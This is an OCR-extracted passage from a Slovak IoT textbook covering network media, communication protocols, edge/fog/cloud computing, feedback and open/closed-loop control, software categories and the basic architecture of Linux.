pouziva kontaktné pole. Pole poskytuje flexibilny spbdsob, ako vytvorit elektronické zapojenie na
urovni obvodu, s pristupom a moznostou rychlej vymeny vsetkych komponentov. Vyroba nového
plosného spoja a osadenie suciastok je velmi narocny proces, ktory trva velmi dlho v porovnani so
simulaciou plosného spoja na kontaktnom poli.

Datalinkové spojenia
Dali vyznam slova "pripojenie" sa vztahuje na datové spojenia. Prostrednictvom OSI modelu su typy

spojeni definované tromi vrstvami:

vrstva 1 - fyzicka vrstva,
vrstva 2 - spojova vrstva,
vrstva 3 - sietova vrstva.

V sucasnosti sU najrozsirenejSie tri typy médii, ktoré pouZivaju zariadenia pre komunikaciu cez
internet a su nimi medena kabelaz, optické vlakno a radiové spojenie zname aj ako WiFi.

Medena kabelaz

Siete, ktoré pouzivaju medené média, pretoze su lacné, fahko sa instaluju. Medené médium je vsak
obmedzené maximalnou vzdialenostou prenosu, ktora ¢asto nepresahuje desiatky metrov a rusenim
signalu. Preto vSetky medené média musia dodrZiavat technické obmedzenia vzdialenosti.
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Obrazok 2.13 - UTP kabel

Vlaknova optika

Kable s optickymi vlaknami su v dosledku svojej odolnosti voci ruseniu signalu pouzivané pre dialkové
prenosy. Signal mozZe cestovat ovela dlhsie bez degradacie kvality, nez je tomu pri pouziti medenych
kablov. Nevyhodou je vysoka cena.

Obrazok 2.14 - Optické vlakna

Vysielajuce zariadenie vysiela binarne signdly vo forme svetelnych impulzov s pomocou LED alebo
laserov. Prijimacie zariadenie pouZiva fotodiddy na detekciu svetelnych impulzov aich spéatnu
konverziu na napatie.

Bezdrotové pripojenie

Bezdrotové zariadenie pozostava zo Sirokej Skdly mozZnosti pripojenia vratane elektromagnetickych
signalov, radiovych a mikrovinnych frekvencii, mobilnych a satelitnych spojeni. Infrastruktura je
tvorena vysielac¢mi a prijimacmi vo forme antén, ktoré prenasaju data vo forme elektromagnetického
vinenia (podobne ako televizia alebo radio).

Aby bol moziny bezdrotovy prenos informacie, musi byt do antény privedeny elektricky signal
s vysokou frekvenciou. Nasledne sa tento signal v anténe premiena na elektromagneticku vinu. Signal
privadzany do antény vznikd procesom moduldcie znosného vysokofrekvencného signalu
s frekvenciou rddovo MHz a GHz a modulacného signalu, ktory reprezentuje informaciu.

Modulaény signal modze ovplyviiovat bud amplitidu (AM modulécia), alebo frekvenciu (FM
modulacia) nosného signalu, pripadne iné parametre nosného signalu. Na prijimacej strane anténa
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premiena elektromagneticki vinu spit na elektricky signal aprocesom demodulécie ziskava
z prijatého signalu poZadovanu informdciu, ktora bola vysielana.

RVVIYG

Obrazok 2.15 - Radiova komunikacia

Beina WiFi siet vyuZiva pre prenos dat frekventné pasmo 2.4GHz, podobne ako kuchynské
mikrovinné riry (Co sa modzie prejavit aj znizenou kvalitou signalu v pripade blizkosti vysielaca
a spominaného spotrebica). Vyhodou bezdrétovych spojeni je ich relativne jednoducha instalacia
av pripade pouZitia smerovych antén aj velky dosah, no nevyhodou je velkd nachylnost na
elektromagnetické rusenie a silna degradacia kvality a dosahu signalu pri prekazkach v ceste signalu.
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Obrazok 2.16 - NajcastejSie pouzivané konektory
Zdroj [5]

Vietky konektory medenych kablov, optickych vldkien a antén radiového prenosu spifiaju $pecifické
Standardy fyzickej vrstvy. Tieto normy Specifikuji mechanické rozmery konektorov a prijatelné
elektrické vlastnosti kazdého typu prenosu signalu. Tieto sietové médid tiez beZne pouZivaju
modularne konektory a zastrcky na jednoduché pripojenie a odpojenie.

Komunikacné spojenie systémov

Na najvysSej vrstve komunikacie je komunikdcia medzi aplikaciami, ktoré si sucastou riadiacich
systémov zariadeni. Kazdd komunikacia medzi aplikdciami ma svoje Specifikd. Niektoré aplikacie
potrebuji komunikovat Sifrovane, iné si vystadia stakzvanou plain-text (text v nezasifrovanej
podobe) formou, pretoZe neposielaju citlivé data. Niektoré aplikacie prenasaju data raz za cas, iné
kontinualne v datovych prudoch v pravidelnych intervaloch. Na zabezpecenie komunikacie medzi

aplikaciami sluzia komunikacné protokoly.

Komunikacny protokol je subor pravidiel, ktoré pouzivaju programy alebo operacné systémy na
komunikaciu medzi dvoma koncovymi bodmi. Protokoly popisuju syntax (tvar komunikacie),
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sémantiku (vyznam komunikacie) a synchronizaciu (Casovanie) komunikacie atiez pravidla pre
kontrolu a zotavenie sa z chyb v komunikacii.

Medzi zname protokoly patri napriklad protokol HTTP urdeny pre prenos webstranok a suborov
medzi internetovym prehliadacom a web serverom, ¢i SMTP pre odosielanie elektronickej posty
alebo SSH pre vzdialenu spravu zariadeni.

Vo svete loT vsak vznika potreba novych protokolov pre bezpecny a nenarocny prenos dat. Naviac
musia medzi sebou komunikovat zariadenia na rdznych Urovniach - koncové zariadenia navzajom
(M2M - machine to machine), koncové zariadenia s branou (M2G - machine to gateway) alebo
koncové zariadenia s cloudovymi servermi (M2C - machine to cloud). Medzi nové protokoly moézeme
zaradit MQTT alebo REST.

Detailnejsi popis jednotlivych protokolov je uvedeny v kapitole 5, ktora sa venuje problematike sieti.

2.10 Tok informacii v loT

Kli¢ové komponenty najjednoduchsich loT systémov zahfnaju senzory prepojené drotovym alebo
bezdrotovym spojenim na riadiace prvky alebo akéné ¢leny. Niektoré prvky v loT systémoch dokonca
maju viac ako jednu funkciu. Napriklad riadiaci prvok - kontrolér mé6ze zbierat data zo senzorov a na
zaklade tychto dat bez zdsahu ¢loveka moze pomocou akéného ¢lena upravit parametre prostredia
(zvysit teplotu, znizit osvetlenie, ...). Takyto model, ked kontrolér spracliva data priamo zo senzorov
a hned'ich aj riadi nazyvame pojmom edge computing.

Kontrolér ale moze sluzit aj ako brana (gateway) do lokalnej siete. V takomto pripade sa kontrolér
stara o zber dat aich posunutie na vykonnejsi pocitac v lokalnej sieti. Tento pocitac nasledne data
spracuje a vyhodnoti, akd akcia sa ma vykonat, alebo len data uloZi do databazy pre neskorsiu
analyzu. Ak sa data spracuvaju v lokalnej sieti, hovorime o modeli s nazvom fog computing.

Kontrolér viak mbéze data prenasat aj na vzdialené servery. Ide najma o také IoT rieSenia, ktoré
spracuvaju velké mnoistvd dat zviacerych lokalit alebo IoT systémy, ktorych riadenie ma byt
zabezpecené odkialkolvek z internetu a ma byt lahko rozsiritelné (Skalovatelné). Data na vzdialenych
serveroch potom mozu byt ukladané, analyzované, spracivané a vysledky spracovania odosielané do
akénych ¢lenov. Takémuto modelu, kde sa data spracutvaju na vzdialenych serveroch, hovorime cloud
computing.

Ak by sme mali tieto modely porovnat, tak vo vSeobecnosti plati, Ze ¢im bliZSie sa data spracuvaju,
tym je mozné rychlejsie ovplyvnit systém cez akéné ¢leny. Edge computing je teda z hladiska rychlosti
odozvy najrychlejsi a cloud najpomalsi. Ak sa vSak na porovnanie pozrieme z hladiska vypoctového
vykonu, kontroléry v edge computingu maju vykon najmensi, zatial ¢o servery maju vysoky vypoctovy
vykon aj ulozné kapacity.

V praxi sa preto pouZiva kombinovany pristup. Na rozhrani (edge) sa vykondavaju najkritickejsie
operacieako napriklad spustenie sirény, ¢i zamknutie dveri pri naruseni objektu alebo spustenie
hasiaceho systému v pripade poZiaru autobusu. Menej kritické, no vypoctovo narocnejsie operacie
ako su spracovanie obrazu z kamier v budove, spracovanie dat z viacerych senzorov v autobuse a ich
lokdlna analyza sa deje v centradlnej jednotke v lokdlnej sieti (fog-u), no ukladanie aanalyza dat
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o naruseni viacerych budov alebo zber velkého mnoiZstva dopravnych dat z premdvky v meste sa
uklada a analyzuje na vzdialenych serveroch (v cloud-e).

Komunikacny proces

Proces pouZiva vstupy na vykonanie spravnych akcii na dosiahnutie poZadovaného vystupu. Formalne
povedané, procesomje séria krokov vykonanychza ucelom dosiahnutia Zelaného vysledku.

Systém je subor pravidiel, ktoré riadia sériu krokov, alebo akcii v procese. Procesom je napriklad
navod na montadz nabytku. MdZe to byt Ziadost o $tatny prispevok na prestahovanie za pracou.
V pripade velkych firiem sa ¢asto stretdvame s procesmi, kde sa definuju postupy prace.

Vstup

Obrazok 2.17 - Komunikacny proces

Zdroj [5]

V pripade vedenie auta,ako procesu, vstupy zahfiaju rychlost, smer a blizkost inych vozidiel. Medzi
akcie patri zrychlenie, brzdenie ariadenie vozidla. VSetky tieto akcie vytvaraju systém znamy ako
jazda. Prikladom vystupov by bola spravna rychlost, smer a blizkost k inym vozidldm a prekazkam.

Spdtnad vizba

Existuje mnoho réznych typov zariadeni s podporou loT. VacSina takychto zariadeni vSak pouZiva
senzory, ovladace a pohony na vykonavanie funkcii.

Pre kontrolu a ovladanie zariadenia v prostredi je potrebnd spatna vazba (feedback). Tak, ako je
v komunikacii ¢loveka dolezZita spatna vazba aj pri riadeni systémov je potrebna spatna vazba. Tak,
ako chlapec potrebuje vediet, ¢i dievca reaguje na jeho vabenie, tak aj termostat potrebuje vediet, ¢i
ma vypnut alebo zapnut plynovy kotol.

Najjednoduchsia schéma spatnej vazby popisuje situdciu, kedy sa vystup stava stcastou vstupu a tym
dokaze ovplyvnit spravanie celého systému.

: Obrazok 2.18 - Schéma spitnej vizby
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Z tedrie systémov pozname dva zakladné typy spatnej vazby:

kladnd/pozitivna spatna vazba (positive feedback),
zaporna/negativna spatna vazba (negative feedback).

Kladna spatnd vazba

Je vacsinou neprijemna zélezitost, pretoze signal z vystupu sa pripocita k vstupu a tym sa vystup este
viac zosilni. Typickym prikladom je spatna vazba z reproduktorov. Ak stojime s mikrofénom blizko pri
reproduktore, signdl z reproduktoru sa prenesie do mikrofénu, v hudobnom zosiliiovaci sa zosilni,
prenesie sa na reproduktor a takto dookola, ¢oho vysledkom je neprijemné piskanie. Hovorime, Ze
kladna spatna vazba destabilizuje systém, pretoze ho odchyluje od rovnovazneho (Ziadaného) stavu.

Zaporna spatnd vazba

Tento typ spatnej vazby sa naopak pouZiva na stabilizaciu systému, teda jeho navrat do
rovnovazneho (ziadaného) stavu. Predstavme si napriklad splachovac. Jeho ulohou je napustit do
nadriky vodu po splachnuti. Cim viac je nadrika naplnena vodou, tym viac plavak uzatvara napustaci
ventil, az do jeho Uplného zatvorenia a zastavenia pritoku vody do nadrzky.

Akény €len
Vykurovaci systém

Chladiaci systém

Teplota v izbe
PoZadovana PR
teplota Snimace

T=21°C Meranie vihkosti
Meranie teploty

-

Obrazok 2.19 - Schéma riadenia teploty s pomocou spatnej vazby

Zdroj [9]

V redlnom svete je pri niektorych systémoch naroc¢né identifikovat, o aky typ spatnej vazby sa jednd
(pozitivnu, alebo negativnu). Obzvlast v situdciach, ked sa v systéme pouziva niekolko nezavislych
kanalov spatnej vazby sucasne.

Regulacia na zaklade spéatnej vazby je zalozena na riadeni s pomocou reguldtora (termostat).
Regulator analyzuje a spracovava informacie a v pripade potreby mdze pouzit dostupné akéné éleny
na zmenu teploty v izbe.

Tento proces sa priebeine opakuje a upravuje. Pokial cely systém je schopny komunikovat cez
internet, kam odosiela namerané hodnoty, aktualne nastavenia, stav, pripadne prijima konfiguracné
prikazy, mozeme ho oznacit za loT zariadenie.
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Velmi dobrym prikladom systému zaloZzeného na spatnej vazbe je ludské telo. Staéi pozorovat ako sa
sprava telo v zime, v teple, na zdklade akych podnetov reaguje. Skimanim systémov spatnej vazby
ludského tela sa zaobera lekarska fyzioldgia.

Spétna vizba - Spétna vizba

<mm| (5575 |m=p

k tepnam k srdcu

Obrazok 2.20 - Spatna vazba v ludskom tele

Zdroj [10]

Riadiaci systém

Riadiaci systém obsahuje regulator, ktory vyuZiva vstupy a vystupy na riadenie a regulaciu spravania
systému v snahe dosiahnut pozadovany stav. Vstup uréuje, aky by mal byt vystup pre cely proces.
Regulator udava, aké konkrétne zmeny su potrebné na dosiahnutie pozadovaného vystupu na
zaklade vstupu.

Cinnost, pri ktorej sa rozhoduje o vybere a Uprave parametrov,ktoré je potrebné zmenit, aby sa
dosiahol poZzadovany vystup, sa nazyva tedria riadenia. Tedria riadenia je v podstate stratégia vyberu
spravneho vstupu a sp6sobu generovania poZzadovaného vystupu.

Tato tedria sa uplatiiuje vo vsetkych typoch zariadeni. Zamyslime sa, ako sa tedria riadenia uplatriuje
pri riadeni vozidla. Vodi¢ vozidla je regulator, riadenie areguldcia vozidla sa vykondva cez akiné
¢leny. Na zaklade vstupného signalu vodi¢ uréuje, ako pouzit kazdé ovladanie (napr. plyn, brzda,
volant) na dosiahnutie zamyslaného vykonu.
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Obrazok 2.21 - Blokova schéma ovladania automobilu

Zdroj [11]

Mnohé z procesov v aute zdvisia aj od riadiacich systémov navrhnutych vyrobcom automobilov.
V tychto systémoch je vystup merany pomocou zvoleného typu snimaca, ktory informuje o tom, aké
zmeny regulator uz vykonal. Cielom je navrhnit systém s nulovou chybovostou. To znamend, Ze
vystupna hodnota zariadenia je presne na takej Urovni ako poZzadujeme. Preto, ak chce vodi¢ jazdit
rychlostou 65 km/h, nastavenie tempomatu na 65 km/h musi dosiahnut presne tento vysledok.

Riadiace systémy mézu byt dvoch zékladnych typov a to sotvorenou sluckou alebo uzavretou
slu¢kou. Rozdiel medzi tymito dvoma systémami je zaloZeny na tom, ¢i pouZiva spatnu vazbu alebo
nie.

Otvorend slucka

Riadiace systémy s otvorenou sluckou nepouZivaju spdtnu vazbu. Riadiaca jednotka informuje
zariadenie o vykonani vopred urcenej akcie bez overenia poZadovanych vysledkov. Na obrazku je
zobrazena logicka schéma riadiaceho systému s otvorenou sluckou.

Pojiadavka Riadiaca jednotka Ovladany systém Pozadovana zmena
(vstup) (controller) (vystup)

Obrazok 2.22 - Otvorena slucka

Zdroj [5]

Radiaca jednotka (controller) je systém, ktory zabezpecuje spracovanie vstupnych poZiadaviek. Do
ovladaného systému odosiela nastavenia, ktoré zabezpecia pozadovany vystup.
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Napriklad kdvovar je mozné povazovat za riadiaci systém s otvorenou sluckou. Pouzivatel poskytuje
spravne mnozstvo kavy a vody (vstupy). Zariadenie ohrieva vodu a reguluje prudenie horucej vody do
filtracného koSa. Vystupom je uvarenad kava. Za predpokladu, Ze zariadenie je v spravnom
prevadzkovom stave, kvalita kdvy (vystup) zavisi od kvality vstupov.

Riadiace systémy s otvorenou sluckou sa ¢asto pouZivaju pre jednoduché procesy, kde su vztahy
medzi vstupom a zariadenim dobre definované. Ulohou inZiniera, ktory navrhuje softvér riadiacej
jednotky, je urcit spdsob manipulacie so vstupmi tak, aby zariadenie generovalo pozadované vystupy.

Dal$im prikladom riadiaceho systému s otvorenou slu¢kou je domacaumyvacka riadu. Zariadenie viak
nema Ziadnu schopnost uréit, ¢i je vloZeny riad Cisty. Umyvacka spusti a bude bezat cely cyklus bez
ohladu na to, ako velmi bol riad znecisteny a i je vloZeny Cistiaci prostriedok.

Uzavretad slucka

Riadiaci systém s uzavretou slu¢kou pouZiva spatnu vazbu na urcenie, Ci je aktudlny vystup na Urovni
pozadovaného vystupu.

Systém uzavretej slucky meria vystup pomocou snimaca. Namerand hodnota sa porovnava
s referenciou, ktorl predstavuje pozadovany stav (vstup). Vysledok sa potom '"vrati spat" do
regulatora. Tato spatna vazba sa pouZiva na opakované nastavenie ovladacich prvkov, ¢im sa ma
odstranit rozdiel aktualnej hodnoty oproti poZzadovanej vstupnej hodnote. Cely proces sa opakuje az
do situacie, kedy vystup sa bude rovnat vstupnej hodnote.

VSTUP VYSTUP
3 ( ) ; Riadiaca jednotka s
(controller) Oviadany system

Spatna vazba
(feedback)

Y

A

Obrazok 2.23 - Uzavreta slucka

Zdroj [5]

Systém s uzatvorenou sluckou neustale upravuje vstup o Udaje, ktoré boli ziskané meranim vystupu.
Tieto namerané hodnoty sa vracaju na zaciatok prostrednictvom spatnej vazby.

Existuje mnoho prikladov riadiacich systémov s uzavretou sluckou. Jednym, ktory je mozné ndjst
takmer v kazdej budove, je digitalny termostat. Ten sa najprv naprogramuje na pozadovanu teplotu.
Vstup je privedeny do zariadenia HVAC (heating, ventilation, air conditioning - vykurovanie,
vzduchotechnika a klimatizacia). Vystup sa meria oproti poZadovanému vstupu. Zobrazi sa rozdiel
medzi poZadovanou a nameranou teplotou a riadiaca jednotka nastavi HVAC systém tak, aby sa
dosiahol poZadovany stav.
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3.1 Softvér

Pocitacovy softvér je vieobecny pojem, ktory sa vztahuje na sdbor pocitacovych instrukcii, ktoré
informuju podita¢ otom, ako ma pracovat avykonavat zadané ulohy. Na rozdiel od fyzického
hardvéru, z ktorého je systém postaveny, softvér vykonava spracovanie vstupov a dodanie vysledkov.
Pocitacovy hardvér a softvér st navzajom prepojené a nemdzu byt pouzivané samostatne.

Ludia, ktori rozumeju softvéru a dokdzu ho tvorit, sa stavaju Coraz cennej$imi na sucasnom trhu
prace. Kym programatori boli v minulosti do urcitej miery obmedzeni na kddovanie aplikacii pre
salové pocitace, sucasny ndrast loT vytvara nové moznosti prace pre programatorov.

Vo svete, ktory sa stava stale viac digitdlnym, vSadepritomna povaha vypoctovej techniky znamen3,
Ze softvér je vSade. Programatori mézu dnes pracovat na firmvéri, ovlddadoch zariadeni, mobilnych
aplikaciach, webovych rozhraniach, analyze dat a podobne. Tieto oblasti zamestnanosti boli vSetky
dostupné predtym, ale internet veci vyrazne zvysil pocet dostupnych projektov a spolo¢nosti.

Vyuzitie sieti a softvéru v priemysle vedie k potrebe dalSich programatorov. Vdaka schopnosti pisat
vlastny kéd, si programatori mozu vytvarat vlastné softvérové nastroje, ktoré nie su k dispozicii na
trhu.

3.1.1 Softvérové inZinerstvo

Softvérové inZinierstvo je systematické uplatriovanie vedeckych a technologickych poznatkov, metéd
a skusenosti pri navrhovani, implementdcii, testovani a dokumentdcii softvéru.

Oblast softvérového inZinierstva je moziné dalej delit podla oblasti Specializdcie na konkrétne
¢innosti, ktoré sa vyznamnou mierou podielaju na vytvarani aplikacii a riadiacich systémov. V istom
zmysle je mozné tieto oblasti aj chapat ako éasti Zivotného cyklu softvéru. Vynechanim, pripadne
ignorovanim, niektorej z nich je kvalita vystupného produktu nizsia. Medzi hlavné oblasti patria:

Zber poziadaviek - ziskanie, analyza, Specifikacia a validacia poZiadaviek na softvér.

Navrh softvéru - proces definovania architektury, komponentov, rozhrani ainych charakteristik
systému alebo komponentu. TaktiezZ je definovany ako vysledok tohto procesu.

Pisanie softvéru - vytvorenie riadiacého kédu, zmyslupulného softvéru, ktory vykonava pozadované
funkcie. Do tejto oblasti sa dalej rata overovanie a testovanie kdédu, overovanie splnenia poziadaviek
a ladenie chyb.

Testovanie softvéru - praktické technické preskimanie zdrojového kédu a funkcionality aplikacie,
ktoré poskytne zainteresovanym strandam informacie o kvalite testovaného produktu alebo sluzby.

Udrzba softvéru - celkova ¢innost potrebnd na poskytnutie nakladovo efektivnej podpory softvéru.

Riadenie softvérového inZinierstva - uplatfiovanie riadiacich Cinnosti - planovanie, koordinacia,
meranie, monitorovanie, kontrola a podavanie sprav - scielom zabezpedit, aby vyvoj a udriba
softvéru boli systematické, disciplinované a kvantifikované.

Procesné a kvalitativne riadenie — procesné riadenie umoznuje efektivny vyvoj softvéru z pohladu
uspory nakladov, optimalizacia pracovnych uloh a zaistenia kvality. S pomocou procesov sa definuju

66



napriklad postupy ako sa do kdédu zavadzaju zmeny, navrhuju ¢i implementuju opravy chyb.
Kvalitativne riadenie pomaha udrzat kvalitny vystup celého vyvojového procesu. Tymto dokaze
spolo¢nost dodat kvalitny produkt, ktory bude spifiat vopred definované poziadavky na funkcionalitu,
rychlost, stabilitu, bezpecnost a tak podobne.

S pomocou softvérového inZinierstva, ako procesu pre vyvoj kvalitnych produktov sa snazia firmy
ziskat odpovede na otazky:

Kolko nas stoji vyvoj softvéru?

Aké sluzby ponuka vytvoreny softvér?

Ktory procesny model by sme mali pouzivat?

Aky je ciel pouzivania nasho softvéru?

Ako by sme mali implementovat softvér v prostredi u zakaznika?

Ako by malo vyzerat uZivatelské rozhranie softvéru?

Mali by sme radsej kupit softvér od tretej strany namiesto toho, aby sme ho vytvarali sami?

Odpovede na uvedené otazky pomahaju identifikovat potencidl, rizikd a mozZnosti realizovatelnosti
softvérového projektu. Napriklad novy predajca mady chce vstupit na trh e-commerce. Ma moznost
zakupit komplexny produkt typu e-shop, alebo si pre jeho realizdciu moéze zamestnat skupinu
programatorov, ktord mu tento systém naprogramuje takpovediac doma, teda vytvoria ho interny
zamestnaci predajcu médy.

Ako je mozné vidiet, aj na prvy pohlad nesUvisiace oblasti ako mdda a vyvoj softvéru, mézu vyuzivat
vzajomnu expertizu a spolupracovat pri tvorbe novych produktov ¢i sluZieb.

3.1.2 Typ softvéru

Softvér je mozné kategorizovat podla niekolkych pohladov. Jednym z moZnych sp6sobov deleni je
podla ucelu za akym bol vytvoreny a oblasti jeho pouzitia. Alternativnym pohladom je delenie podla
miesta spustania. Pozrime sa na tri zakladné skupiny podla Gcéelu pouzitia:

aplikacny softvér,
systémovy softvér,
Skodlivy softvér.

Aplikacny softvér

Velmi zjednodusene povedané ide o aplikacie, ktoré pouzivame pre vykonavanie uloh. Napriklad
napisanie prace, navrh 3D CAD modelu, Uprava fotografie a podobne. Je to softvér, ktory vyuZiva
pouzivatel na vykonavanie uloh alebo poskytuje zabavné funkcie nad ramec zakladnej cinnosti
samotného pocitaca. Existuje vela roznych typov aplikacného softvéru, pretoze rozsah uloh, ktoré je
mozné vykondvat s modernym pocitacom, je velmi velky.

Systémovy softvér

Ide o softvér, ktory priamo prevadzkuje pocitacovy hardvér, poskytuje zakladné funkcie potrebné pre
komunikaciu medzi pouZivatelom a hardvérom. Tento systémovy softvér (napriklad operacny
systém) poskytuje prostredie na spustenie aplikacného softvéru.
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Systémovy softvér zahfna napriklad:

operacné systémy - su zakladnymi zbierkami softvéru, ktoré spravuju zdroje a poskytuju
spolocné sluzby pre iny softvér, ktory beZi nad operaénym systémom. Kontrolné programy,
zavadzacie oblasti disku, konzolové a okenné aplikdcie si hlavnymi castami operacénych
systémov. V praxi je operacny systém cCasto dodavany s dodatoénym softvérom vratane
aplika¢ného softvéru, ¢o umozfiuje operacny systém pouzivat pre Siroku skalu dloh ihned po
jeho nainstalovani.

ovladace zariadeni - ovladaju alebo riadia konkrétny typ zariadenia, ktoré je pripojené
k pocitacu. Pocita¢ ma zvycajne minimalne jedno vstupné zariadenie a aspon jedno vystupné
zariadenie, preto pocitac zvycajne potrebuje viac ako jeden ovladac zariadenia.

nastroje (tzv. utility) - su pocitacové programy urcené na pomoc pouzivatefom pri udrzbe
a starostlivosti o pocitace.

Skodlivy softvér (malware)

Softvér vyvinuty na poskodenie a narusenie pocitacovych systémov a informdcii, ktoré su na nich
uloZzené. Ztohto dbévodu je skodlivy softvér neziaduci. Malware je uUzko spaty s pocitaCovymi
trestnymi ¢inmi. Hoci niektoré skodlivé programy mozu byt navrhnuté ako vtipy alebo protest.

3.1.3 Miesto spustania softvéru

Desktopové aplikdcie

Oznacované ako aplikacie, su napriklad aj webové prehliadace, Microsoft Office, rovnako ako
aplikacie pre smartfény a tablety. Spustitelny kdd sa najcastejSie nachadza na koncovom pocitadi.
Zvycajne ide o kompilovany kéd.

Skripty

Skripty su typom softvéru, ktoré su zvycajne interpretované abeZia napriklad vo webovom
prehliadaci (JavaScript) alebo na pozadi operacného systému (Python, PowerShell).

:IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= POZNAMKA!

Rozdiel medzi kompilovanym a interpretovanym kédom je v tom, Ze:

Kompilovany kéd je taky, ktory po skompilovani je vyjadreny v instrukciach cielového stroja.
Napriklad operacia suctu "+" v zdrojovom kdde, mbze byt prelozena priamo do prikazu "ADD"
v strojovom kdde. Medzi kompilované jazyky patria: Assembler, COBOL, Java, C/C++

Interpretovany kod je kdéd, v ktorom pokyny nie su priamo vykonavané cielovym pocitacom,
ale je citany avykonavany inym programom — takzvany interpreter (prekladac). Tento
prekladac je zvycajne napisany v inom jazyku, nez samotny zdrojovy kéd.

Operécia "+" by bola interpretovana pri spusteni kddu. Interpreter by potom zavolal svoju
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a vlastnu funkciu "add (a, b)" s prislusSnymi argumentmi, ktoré by potom spustili strojovy kéd &
"ADD". Medzi interpretované jazyky patria: Python, JavaScript, PowerShell

Kazdy z typov kédu ma svoje vyhody a nevyhody. Vyhodami kompilovanych jazykov su:

Rychlejsi vykon priamym pouZitim nativneho kédu ciefového zariadenia.
Moznost uplatnit pomerne silné optimalizacie pocas fazy zostavovania.

Na druhej stranesu vyhody interpretovanych jazykov:

Je jednoduchsie implementovatpozadovand funkcionalitu (pisanie  dobrych
kompilatorov je velmi tazké!).
Nie je potrebné spustit fazu kompilacie - mozné spustit kod priamo.

Webové aplikdcie

Zvycajne sa prevadzkuju na webovom serveri a vytvaraju dynamicky generované webové stranky do
webovych prehliadacov, napr. PHP, Java, ASP.NET, alebo dokonca JavaScript, ktory beZi na serveri
(NodelS). V modernych ¢asoch weby beZne obsahuju JavaScript, ktory sa ma spustit aj vo webovom
prehliadaci a ¢iastoCne na serveri.

Zabudovany (embedded) softvér

Je umiestneny ako firmvér vramci jednoucelovych alebo viaclucelovych zariadeni. V slvislosti
s embedded zariadeniamije niekedy nejasné rozlisenie medzi systémovym softvérom a aplikacnym
softvérom. Avsak niektoré embedded zariadenia maju vstavané operacné systémy. Tieto systémy si
zachovavaju hranice medzi systémovym softvérom a aplikanym softvérom.

Mikrokod

Specidlny typ vstavaného softvéru, ktory informuje samotny procesor o tom, ako vykonat strojovy
kdd. Typickym prikladom je firmvér mikroprocesora. Napriklad pri zakapeni WiFi modulu (HiLink) su
vSetky operacie potrebné pre naprogramovanie mikroprocesorazabezpecené vyrobcom.
Programator, ktory navrhuje aplikaciu, sa teda nemusi zaoberat ndvrhom kédu pre ovladanie WiFi
modulu.

3.2 Linuxovy operacny systém

Linuxové systémy su velmi oblUibené pre svoju otvorenost (tzv. open source). Existuje mnoho
distribucii, ktoré su dostupné bezplatne a pouzivatel si méze upravovat zdrojovy kéd bez potreby
povoleni ¢i porusovania licenénych podmienok.

Upravené linuxové systémy sa pouZivaju napriklad vsmerovacoch pre domace pouZitie
(LinkSys).Ppoutzivaju ich aj velké komercné firmy (Juniper, Google) ako zaklad operacnych systémov
pre svoje zariadenia (firewally, Android).
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Obrazok 3.1 - Linux Fedora
Zdroj [5]

POZNAMKA!

Problematika autorskych prav je velmi komplexna oblast av pripade komeréného poufzitia
rieSeni je vhodné mat pravne osSetreny povod a poufZitie zdrojového kédu, aplikacii a systémov.

FESEEEEEEEEEEEEEY

3.2.1 Architektura Linuxu

Ak chceme efektivne spravovat Linux, musime porozumiet tomu, ako vlastne funguje. Zakladna
charakteristika Linuxu je jeho modularnost. To znamena, Ze systém sa sklada z mnohych relativne
nezavislych casti. Pre vacsinu z nich navysSe existuju alternativy, a preto vidy zalezi na spravcovi
distribucie, ako systém zostavi.

Moduldrnost tiez vysvetluje rozdiely medzi jednotlivymi distribdciami. Aj ked je vSetko Linux,
odli$nosti byvaju natolko markantné, Ze pri prechode na ind distriblciu moéze byt pouZivatel
minimalne lahko zméteny.

Operacny systém Linux mozno rozdelit na tri hlavné casti:
jadro (kernel),

shell,
aplikacie (kniznice a moduly).
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Aplikacné programy

Interpreter
(shell)

Jadro
(kernel)

Obrazok 3.2 - Zjednodusena Struktura Linuxu

Zdroj [12]

Jadro

Jadro mozZno povazovat za samotny operacny systém, zatial ¢o shell je len program, ktory beZi na
operacnom systéme a ponuka funkcénost interakcie s pouzivatelom.

Na interakciu s hardvérom zariadenia pouzivatel komunikuje so shellom, ktory komunikuje s jadrom.
Jadro nasledne komunikuje s hardvérom.

Shell

Shell je prostredie v ktorom sa vykonavaju prikazy zadané pouzivaetlom. Ked' sa pouZzivatel prihlasi
do systému, prihlasovaci program skontroluje pouzivatelské meno a heslo. Ak je poverenie spravne,
prihlasovaci program zavola shell. Od tohto bodu mdZe opravneny pouzivatel zacat komunikovat
s operacnym systémom prostrednictvom textovych prikazov.

Shell je spusteny po prihlaseni pouZivatela do systému, vytvori prikazovy riadok, pomocou ktorého
uzivatel moze pocitac ovladat a jeho ukoncenim je uZivatel zo systému odhlaseny.

V grafickom rozhrani linuxového systému je mozné ziskat pristup kshellu pomocou klavesovej
skratky CTRL+T, pripadne vyhladanim a spustenim aplikacie “terminal”.
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Command Prompt

Desktop app

Terminal /o Cmd|

Obrazok 3.3 - Spustenie terminalu
Zdroj [5]

POZNAMKA!

V prostredi Windows je taktiez dostupny shell a je pristupny cez prikaz cmd. PokrodilejSia verzia
Windows shellu s moznost pouZivat .NET kniznice je Powershell. Od Windows 10 sa snazi
spolo¢nost Microsoft integrovat Ubuntu core do Windowsu ¢o by malo umoznit spustat
Linuxové skripty v prostredi Windows.

gy EEEEEEEEEEEEEEpgEEER)p
EEEEEEEEEEEEEEEEESR

Aplikdcie (kniZnice a moduly)

Operacny systém predstavuje dusu celého hardvéru. Pri jednoduchych embedded aplikaciach
postacuje aj samostatny a zjednodusSeny riadiaci systém nahraty v mikroprocesore. Napriklad
digitalny termostat.

Pre komplexné zariadenia, ktoré napriklad komunikuju po sieti, je vyZadovany operacny systém.
Hlavnym dbévodom je nutnost pouzZivat pomerne komplexné komunikaéné protokoly. Protokoly
zaistuju, aby si dve zariadenia alebo systémy navzajom rozumeli.

Predstavme si pripojenie mobilného zariadenia na pristupovy bod (access-point) s pomocou Wifi.
Proces asociacie zariadenia do Wifi siete je pomerne komplexny (vid obrazok 3.4).
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mobilna stanica pristupovy bod

7. data

A
v

Obrazok 3.4 - Asociacia mobilného zariadenia do WiFi siete

Zdroj [5]

Aby kazdy programator aplikdcie nemusel stracat ¢as vyvojom vlastného komunikaéného riesenia
aaby dve rbzne zariadenia dokazali medzi sebou komunikovat, pouZivaji dohodnuty protokol.
Implementacia protokolov je zaistenad pouzZivanim Standardizovanych kniznic, modulov a sluZieb
(daemonov), ktoré su stéastou operacénych systémov.

